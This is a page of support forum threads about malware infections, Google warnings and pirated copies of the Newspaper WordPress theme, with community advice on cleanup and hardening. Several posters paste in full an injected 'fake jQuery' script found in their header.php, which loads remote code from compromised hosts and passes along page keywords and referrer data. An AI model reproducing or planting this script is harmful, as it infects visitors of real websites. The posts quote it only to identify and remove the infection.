No search results were found in Documentation!
hi, please help. i dont know what else i can do to stop this malware code.
everyday i have to manually remove it from theme folder header.php file.
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://www.schreibwaren-wetzlar.de/js/jquery.min.php?c_utt=J18171&c_utm='+encodeURIComponent('http://www.schreibwaren-wetzlar.de/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
i have fallowed everything found on wordpress.org blog to remove and prevent malware…
i removed all folders and files …except config file and wp-contents folder … and re-uploaded fresh wordpress files …
also … deleted all themes and plugins … and reinstalled …
i changed wordpress prefix wp to something else …
changed all passwords …etc ..
what am i missing ?
thanks
Hello Tycoonz Fitness,
Please keep in mind that our theme has not added any links or external links in the site. Please try to scan your website and check it to not be infected with some malware of spyware.
Thanks for your understanding!
Hi,
We are unsure why this happens but malware is malware. Once it gets in, it can cause lots of issues. Please use these guides to get rid of it:
http://securepress.org/tutorial-how-to-remove-malware.php
https://wordpress.org/support/topic/malware-removal
https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/ (wordfence blocks all access including the theme panel settings, so whenever you want to change the settings in the theme panel you need to set wordfence to learning mode)
Thank you!
Hi,
How do they manage to insert this malware script on header.php everytime i delete it ?
i have added extra security in .htaccess i have changed database prefix from default wp_ to something else much harder to guess.
what elese am i doing wrong ?
this is the code i keep finding in header.php
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://african-ancestries.com/js/jquery.min.php?c_utt=J18171&c_utm='+encodeURIComponent('http://african-ancestries.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
and this is my .htaccess
text/x-generic .htaccess ( ASCII English text )
# Wordfence WAF
<IfModule mod_suphp.c>
suPHP_ConfigPath '/home/anunturi/public_html/test/newspaper'
</IfModule>
<Files ".user.ini">
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
</Files>
# END Wordfence WAF
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
#Restrict Access to the Admin
ErrorDocument 401 /public_html/test/newspaper/index.php?error=404
ErrorDocument 403 /public_html/test/newspaper/index.php?error=404
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{REQUEST_URI} ^(.*)?wp-login\.php(.*)$ [OR]
RewriteCond %{REQUEST_URI} ^(.*)?wp-admin$
RewriteCond %{REMOTE_ADDR} !^86.15.89.142$
RewriteRule ^(.*)$ - [R=403,L]
</IfModule>
#Prevent Directory Browsing
Options All -Indexes
#Restrict Access to PHP Files
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/file/to/exclude\.php
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/directory/to/exclude/
RewriteRule wp-content/plugins/(.*\.php)$ - [R=404,L]
RewriteCond %{REQUEST_URI} !^/wp-content/themes/file/to/exclude\.php
RewriteCond %{REQUEST_URI} !^/wp-content/themes/directory/to/exclude/
RewriteRule wp-content/themes/(.*\.php)$ - [R=404,L]
#Protect Your Site Against Script Injections
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
#Securing the wp-includes Directory
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]
</IfModule>
#Prevent Username Enumeration
RewriteCond %{QUERY_STRING} author=d
RewriteRule ^ /? [L,R=301]
Order Deny,Allow
Deny from 201.79.174.162
Deny from 116.110.194.204
Deny from 31.135.26.61
Deny from 201.133.219.84
Deny from 46.118.113.186
Deny from 86.15.89.142
Deny from 2607:f298:0006:a056:0000:0000:02cb:020d
Deny from 79.135.237.82
Deny from 184.168.152.165
Deny from 50.62.161.99
Deny from 23.238.20.43
Deny from 61.63.25.210
Deny from 50.62.176.36
Deny from 37.61.233.106
Deny from 50.62.176.36
Deny from 70.39.151.44
Deny from 184.168.152.165
Deny from 23.238.20.43
Deny from 184.168.200.229
Deny from 184.168.27.198
Deny from 46.252.205.134
Deny from 208.109.52.46
Deny from 50.62.176.45
Deny from 108.170.8.242
Deny from 184.168.152.165
Deny from 198.71.228.12
Deny from 77.232.68.17
i ended up getting blocked by google … please help
thanks
Yes, you should just abandon support for Safari/Windows — the issue is not with the site; it’s with Safari which Apple abandoned 4 years ago (!).
So anybody using it will be having problems with the entire internet, SSL, email, Google, Amazon, Netflix, etc.
Anybody using Safari on a PC, will likely get the message by now to switch to Chrome on Windows 7/8, or Edge on Windows 10.
It’s really totally crap and doesn’t support modern security so is an easily hacked browser via malware and bad actors on the web.
It’s a fool’s errand to try to “break your site” to work with Safari/PC as that kind of hacking might break things for everything else.
You can try to add some helper elements to your header to load in legacy code, much like you can for IE6/7.
Hi ,
Can I have the copy of the older newspaper theme ?
I have a old website affected from malware , I need to bring some core theme files back.
Thanks
Hello,
today when i tried to share my posts to my facebook page I get this error message.
Sorry, this action isn’t available right now
As a security precaution you can’t take this action because your computer may be infected with a virus or a malicious browser extension.
You can learn more about malicious software here.
I checked for malware or browser addons and none were found.
Please for help!
Thanks!
Hi!
I have the same issue, I think. My site savjetologija.com is not showing pictures anywhere on the site, I noticed that happend after last wp update, but than I upload backup from before update and still not showing pictures. I even scanned it for malware and its clean.
Please help!
Thanx!
Hi
Our theme is carefully tested before being dent to envato and it’s code does not contains any malicious file. Also the theme it’s double-checked by envato so there is no risk regarding any malware.
Thanks!
ISSUE DETECTED DEFINITION INFECTED URL
Website Malware MW:JS:GEN2?web.js.malware.fake_jquery.002 http://www.regatulunit.com/ ( View Payload )
Known javascript malware. Details: http://sucuri.net/malware/entry/MW:JS:GEN2?web.js.malware.fake_jquery.002
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://popelka.info/js/jquery.min.php?c_utt=I92930&c_utm='+encodeURIComponent('http://popelka.info/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
how does this happen …. maybe theme needs an immediately update ..
thanks
hi!
why is my site block since i download your theme in google search shows This site may harm your computer.
I have not be able to run your theme for a month straight always problems with hosting provider because of malware and now problems with google and internet browsers
thank you
We switched themes at alaskapublic.org to TagDiv’s newspaper theme on Saturday. Immediately after turning off our maintenance plugin, which only allowed users logged into the WordPress site to see content, the site became incredibly slow. With some digging, we found that our server load was between 7 and 25.
We had issues with our security plugin, Securi, which handles malware scanning. Those were resolved yesterday. The sever load has come down to between 2 and 3 pretty consistently (sometimes as high as 7).
Previous to switching the theme, sever load and response time was not an issue. We’ve run it through Google PageSpeed insights and scored 0/100. We’re using the smushing plugin tonight to compress our images.
Our server is within the suggested parameters.
Any suggestions or insights why this theme would cause such a high sever load? We’re a news site with a cycle which includes reporters posting stories every evening, and as it stands the load time of the site is unbearable.
Thanks for your help!
You might do exaxtly what the error says, check the “user agent” for your site.
Check the htaccess file for anything weird, check the HEAD of your page source; check with your hosting provider to make sure site is sending correct headers.
E.g.,
= No cloaking found, = Cloaking found. You may need to check the site for the specific user-agent.
“user agent” is the important note there. The concept of cloaking in this context refers to:
SEO Cloaking Checker
http://www.seotools.com/seo-cloaking-checker/
The SEO Cloaking Checker detects whether a Web site uses "cloaking," a server technique that some sites utilize to try to fool the search engines into awarding rankings the Web pages do not deserve. Cloaking involves showing one version of a Web page to users and a different version, usually stuffed with other keywords, to the search engine spiders. This is a stealth method that Google and the other search engines consider deceptive, since it attempts to bias the spiders into ranking the Web page undeservedly higher or for a different keyword term. We strongly discourage using this type of technique since it is spam, and if detected, could cause your Web site to be penalized in the search engine results.
So, if you have something changing the “user agent” string in your HTML pages, that would be bad; or some wonky thing in your htaccess or robots.txt file — that would be bad.
As far as malware, you can also test with this:
https://www.google.com/transparencyreport/safebrowsing/diagnostic/
Hopefully it’s a non issue.
You might do a Google search for the issue, which is usually best thing to do:
e.g.,
https://wordpress.org/support/topic/cloaked-site
============================
Upshot means “in conclusion” … it’s not a theme issue, so something you have added to your site means things YOU have added like a plugin — the theme doesn’t add plugins to your site, you do.
SO you need to debug what you’ve done to the site that caused the issue. If 10,000 people don’t have an issue, and you do — it’s pretty obvious that something you “added” (meaning, install a plugin, add javascript code, etc.) is causing the issue.
The only way to debug is to turn stuff OFF until you figure out what it is; remove stuff you added like custom javascript loading something from elsewhere, etc.
If something is being “cloaked” by a plugin — whatever that actually means — then it might be an issue, might not be. What is the exact meaning of “cloaked” in this context? For example hiding a menu from desktop, and only showing it for mobile users, might technically be “cloaking” or “hidden” until needed.
If something is hidden “behind” something and not see to visitors but is loaded in the browser, that is a problem as that is how malware is hidden, such as an on click event behind a login box, etc.
Best of luck.
There is no malware in the theme files, for anybody curious about that topic.
However
a) some security scanners on your PC/Mac (Avast) may trigger false positive
b) some PCI-DSS scanners may find false positive with some plugins active — we ran into this with our old ecommerce software (not running WP; they thought we had some kind of vulnerable email script, just because a plugin had same “name” … when it clearly was NOT the known exploit malware app)
Note:
TagDiv scans products prior to upload, based on their past posts – and does not inject any bad code
and,
ThemeForest scans everything when put into the download system, hence delay between TagDiv uploading an update and it becoming available to us.
Google Malware Warning:
If you get a “real” Google malware warning, and not a phishing popup; CHECK YOUR SEARCH CONSOLE (webmaster tools) on the malware tab as it will *confirm* if they have scanned a vulnerability on your site.
Be aware however, sometimes Chrome and Google may list this in search results — and still be false positive.
I went to the TCL Chinese theatre website (aka Grauman’s Chinese theatre) to look up a show time, and Google was saying “this site might be hacked” in the SERPS. At that point in time, it was NOT.
Please help me
Newspaper theme I bought you. and I have problems installing it. Malware error it, so I hope that you will help my fault.
thank you
Licensor’s Author Username: tagDiv
Licensee: UZAKA
The site ahead contains malware
Attackers currently on uzaka.com might attempt to install dangerous programs on your computer that steal or delete your information (for example, photos, passwords, messages, and credit cards).
Automatically report details of possible security incidents to Google. Privacy policy
Back to safetyHide details
Google Safe Browsing recently detected malware on uzaka.com. Websites that are normally safe are sometimes infected with malware.
If you understand the risks to your security, you may visit this unsafe site before the dangerous programs have been removed.
You may have a DNS redirect hack; not theme related.
Make sure you *DISABLLE* any other mobile plugins like Jetpack mobile, or anything like WP-Touch.
In fact, REMOVE any plugins you don’t actually use! Remove old themes you tried but no longer use.
Check your htaccess file for malicious redirect code; resave your permalinks in WordPress.
Make sure you have full back up of your site also.
Also try doing things like running a page speed check at gtmetrix.com to see if anything funky being loaded on pages you don’t recognize; check the page source of a post on your site where you have a redirection.
Check your Google Webmaster tool tab for “malware detected” — as Google will check this too!
Pre-emptively, you may wish to to a clean install of WP, by over-writing all the WP files in root (make back up of your wp-config.php out of paranoia); delete and replace the wp-includes, deleted and replace wp-admin folders.
MAKE SURE you have a legal download copy of theme from ThemeForest and not something you “found on the web” also! (Ahem, which of course you didn’t do, but one person I’ve seen DID and that was very much a DUH moment for him!).
Thanks for this Chris – much appreciated.
I uploaded Securi and ran a scan which reported I was clear of any harmful stuff (malware, malicious javascript etc) so I’m not really any further forwards.
My hosting company made the same suggestion (although they suggested Wordfence…) so I’m still in discussions with them about other possible causes.
I still can’t get around the fact that the dramatic change in the site’s performance was at the exact same time as the WordPress and Newspaper theme updates.
Well, it’s good to keep up on security issues, as WordPress continues to refine its core platform and will advise to update when security vulnerabilities are found (e.g., “cross site scripting” issues, or a problem with ajax/java, or comments injection, etc.). This is the nature of the Web. Technically “SSL” has not been “secure” the past 20 years, contrary to the term secure. SSL3,TLS1,TLS1.1 are all not secure. So, the web continues to evolve and mature in terms of learning to actually test for security problems.
Right now, both Newspaper and WordPress are as secure as “is known” if you have the latest versions of each.
You should also check for articles online for how to harden/secure a WordPress site (e.g., don’t let folks register, don’t have your admin username be “admin,” us a plugin like limit login attempts to block folks trying to guess passwords, turn off editing of files from the WP admin panel, make sure your web host uses a dynamic system like CSF to auto-block IPs probing your site, avoid OLD plugins written prior to 2015, etc.).
You can use tools like Securi to scan your site for known malware, and your host can do the same.
Note that Google massively changed their algorithms in January to deal with issues of content spam based on “brand names” and other things, so every site with lots of “brand names” and company names may have seen some major changes in SERPS.
Checking your Google Webmaster Tools/Search Console regularly and examining what’s going on there is also advisable.
Hope that helps 🙂
The theme also includes a very old version of the Visual Composer. I have already bought a new version of the Visual Composer and some of it´s add-ons. To use it I need to know how to disable the VC in the theme so I can use the license included with the new Visual Composer plugin.
It is crazy to use old versions of plugins which are included in themes. In the past year I have had 3 malware attacks. I am not saying the Rev-slider or the Visual Composer is the root of the problem – but they have been injected at some point and rule #1 in WordPress is to keep all plugins up to date to keep malware out. Having a theme which does not allow me to update the plugins when needed is possibly irresponsible of me. You should give webmasters the option to at least update them.
The version included is a fully tested bundled version which is not infected by malware. The version included is way way past the old version which theme punch irresponsibly allowed it to have an attack vector. The version included free with theme download on theme forest right now does not have the old old vulnerability.
Its irresponsible to scare people without checking the changelog and version included ?
I did not know when I bought the Newspaper theme that the 4.6 version of the Rev slider was included. I have a good reason to suspect it to be infected by malware. I bought the 5.0 version also but I find it irresponsible to have an old version of this plugin included.
Have you checked to see if you actually have malware or not ? (Try scanning site with securi free scanner.)
Have you actually setup best security practices for your website ?
Theme cannot cause site to be hacked unless you’re using a very very old version, which might have included some insecure plugins since updated.
Whqt is the malware detected? screen capture or paste info here?
Read up on how to lock down your site
a) change default superuser — it should *not* be “admin”
b) enforce strong passwords
c) consider disabling XMLRPC
d) enable plugin like “limit login attempts”
e) don’t allow people to register on your site
f) remove old plugins and themes not being used
(etc.)
I am continiously facing problem with the newspaper theme….every time my cpanel virus scanner shows some malware in the theme’s header file…each time I delete the theme and re install it via ftp…but each time after 1 days the same problem occured…due to this reason my server automatically block port 80/443 and I am getting trouble with wordpress. I have no idea what to do. My theme was activated and I have lisence too. I also continiously update the theme via tag-div tool kit…but I have no idea what to do. Plzz someone help me…
this is the file which I found during scan…some ” sitelock..
newspaper/site-lock.js.generic.bj.unofficial
You should not download pirate versions of theme you download for “free off some website,” as that is not a licensed working version of theme …
You should fully remove that, then install the licensed version of theme. You can’t install two themes with same name at same time (see WP help at wordpress.org on how to install themes properly).
You can save settings from the custom CSS box, and export some theme settings, but since the version you had initially wasn’t “legal,” who knows what was in it, whether it was working right, had malware, etc. In theory, unless you edited core files, you should be able to delete old theme, install legal one, and you don’t lose any dbase settings, or the transient settings that WP holds onto.
Note also most theme devs don’t give support for stolen themes, only purchased ones.
I don’t work here, just some feedback as long time user.
You should also use SECURI’s free malware scanner to test your site for any malware added from the pir8 version you started with.
